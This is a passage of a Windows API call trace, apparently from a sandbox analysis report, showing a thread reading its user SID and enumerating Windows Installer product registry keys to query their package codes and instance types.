GetCurrentThreadId () returned 0xf50 [0068.798] GetCurrentThreadId () returned 0xf50 [0068.798] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.798] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.798] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.798] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.798] LocalFree (hMem=0x32f770) returned 0x0 [0068.798] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.798] GetCurrentThreadId () returned 0xf50 [0068.798] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.798] lstrlenW (lpString="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 38 [0068.798] lstrlenW (lpString="6E815EB96CCE9A53884E7857C57002F0") returned 32 [0068.798] GetCurrentThreadId () returned 0xf50 [0068.799] GetCurrentThreadId () returned 0xf50 [0068.799] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.799] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.799] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.799] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.799] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.799] lstrlenW (lpString="6E815EB96CCE9A53884E7857C57002F0") returned 32 [0068.799] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.799] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\6E815EB96CCE9A53884E7857C57002F0", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.799] GetCurrentThreadId () returned 0xf50 [0068.799] GetCurrentThreadId () returned 0xf50 [0068.799] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.799] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.799] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.799] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.799] LocalFree (hMem=0x32f770) returned 0x0 [0068.799] lstrlenW (lpString="6E815EB96CCE9A53884E7857C57002F0") returned 32 [0068.799] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.799] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\6E815EB96CCE9A53884E7857C57002F0", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.800] lstrlenW (lpString="6E815EB96CCE9A53884E7857C57002F0") returned 32 [0068.800] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.800] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\6E815EB96CCE9A53884E7857C57002F0", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.800] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="B4E370007AE0BD84C914DF7A9EBB8493", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.800] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.800] lstrlenW (lpString="{9BE518E6-ECC6-35A9-88E4-87755C07200F}") returned 38 [0068.800] lstrlenW (lpString="6E815EB96CCE9A53884E7857C57002F0") returned 32 [0068.800] lstrlenW (lpString="6E815EB96CCE9A53884E7857C57002F0") returned 32 [0068.800] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.800] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\6E815EB96CCE9A53884E7857C57002F0", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.800] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.800] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.800] lstrlenW (lpString="0") returned 1 [0068.800] lstrlenW (lpString="0") returned 1 [0068.800] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.800] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{00073E4B-0EA7-48DB-9C41-FDA7E9BB4839}") returned 1 [0068.801] GetCurrentThreadId () returned 0xf50 [0068.801] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.801] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x22, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="6E8D947A316B3EB3F8F540C548BE2AB9", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.801] GetCurrentThreadId () returned 0xf50 [0068.801] GetCurrentThreadId () returned 0xf50 [0068.801] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.801] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.801] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.801] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.801] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.801] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.801] GetCurrentThreadId () returned 0xf50 [0068.801] GetCurrentThreadId () returned 0xf50 [0068.801] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.801] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.801] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.801] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.801] LocalFree (hMem=0x32f770) returned 0x0 [0068.801] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.802] GetCurrentThreadId () returned 0xf50 [0068.802] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.802] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}") returned 38 [0068.802] lstrlenW (lpString="6E8D947A316B3EB3F8F540C548BE2AB9") returned 32 [0068.802] GetCurrentThreadId () returned 0xf50 [0068.802] GetCurrentThreadId () returned 0xf50 [0068.802] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.802] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.802] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.802] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.802] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.802] lstrlenW (lpString="6E8D947A316B3EB3F8F540C548BE2AB9") returned 32 [0068.802] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.802] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\6E8D947A316B3EB3F8F540C548BE2AB9", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.802] GetCurrentThreadId () returned 0xf50 [0068.802] GetCurrentThreadId () returned 0xf50 [0068.802] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.802] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.802] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.802] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.803] LocalFree (hMem=0x32f770) returned 0x0 [0068.803] lstrlenW (lpString="6E8D947A316B3EB3F8F540C548BE2AB9") returned 32 [0068.803] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.803] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\6E8D947A316B3EB3F8F540C548BE2AB9", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.803] lstrlenW (lpString="6E8D947A316B3EB3F8F540C548BE2AB9") returned 32 [0068.803] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.803] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\6E8D947A316B3EB3F8F540C548BE2AB9", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.805] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="E43E62EFB44FD4B42A9C78D87857F944", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.805] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.805] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}") returned 38 [0068.806] lstrlenW (lpString="6E8D947A316B3EB3F8F540C548BE2AB9") returned 32 [0068.806] lstrlenW (lpString="6E8D947A316B3EB3F8F540C548BE2AB9") returned 32 [0068.806] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.806] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\6E8D947A316B3EB3F8F540C548BE2AB9", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.806] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.806] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.806] lstrlenW (lpString="0") returned 1 [0068.806] lstrlenW (lpString="0") returned 1 [0068.806] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.806] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{FE26E34E-F44B-4B4D-A2C9-878D87759F44}") returned -1 [0068.806] GetCurrentThreadId () returned 0xf50 [0068.806] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.807] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x23, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="76966AEE2E7916549A99C5223EDC4E82", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.807] GetCurrentThreadId () returned 0xf50 [0068.807] GetCurrentThreadId () returned 0xf50 [0068.807] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.807] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.807] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.807] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.807] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.807] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.807] GetCurrentThreadId () returned 0xf50 [0068.807] GetCurrentThreadId () returned 0xf50 [0068.807] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.807] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.807] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.807] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.807] LocalFree (hMem=0x32f770) returned 0x0 [0068.807] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.807] GetCurrentThreadId () returned 0xf50 [0068.807] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.807] lstrlenW (lpString="{EEA66967-97E2-4561-A999-5C22E3CDE428}") returned 38 [0068.808] lstrlenW (lpString="76966AEE2E7916549A99C5223EDC4E82") returned 32 [0068.808] GetCurrentThreadId () returned 0xf50 [0068.808] GetCurrentThreadId () returned 0xf50 [0068.808] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.808] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.808] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.808] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.808] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.808] lstrlenW (lpString="76966AEE2E7916549A99C5223EDC4E82") returned 32 [0068.808] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.808] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\76966AEE2E7916549A99C5223EDC4E82", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.808] GetCurrentThreadId () returned 0xf50 [0068.808] GetCurrentThreadId () returned 0xf50 [0068.808] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.808] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.808] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.808] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.808] LocalFree (hMem=0x32f770) returned 0x0 [0068.808] lstrlenW (lpString="76966AEE2E7916549A99C5223EDC4E82") returned 32 [0068.808] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.808] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\76966AEE2E7916549A99C5223EDC4E82", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.808] lstrlenW (lpString="76966AEE2E7916549A99C5223EDC4E82") returned 32 [0068.809] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.809] RegOpenKeyExW (in: hKey=0xffffffff80000002, 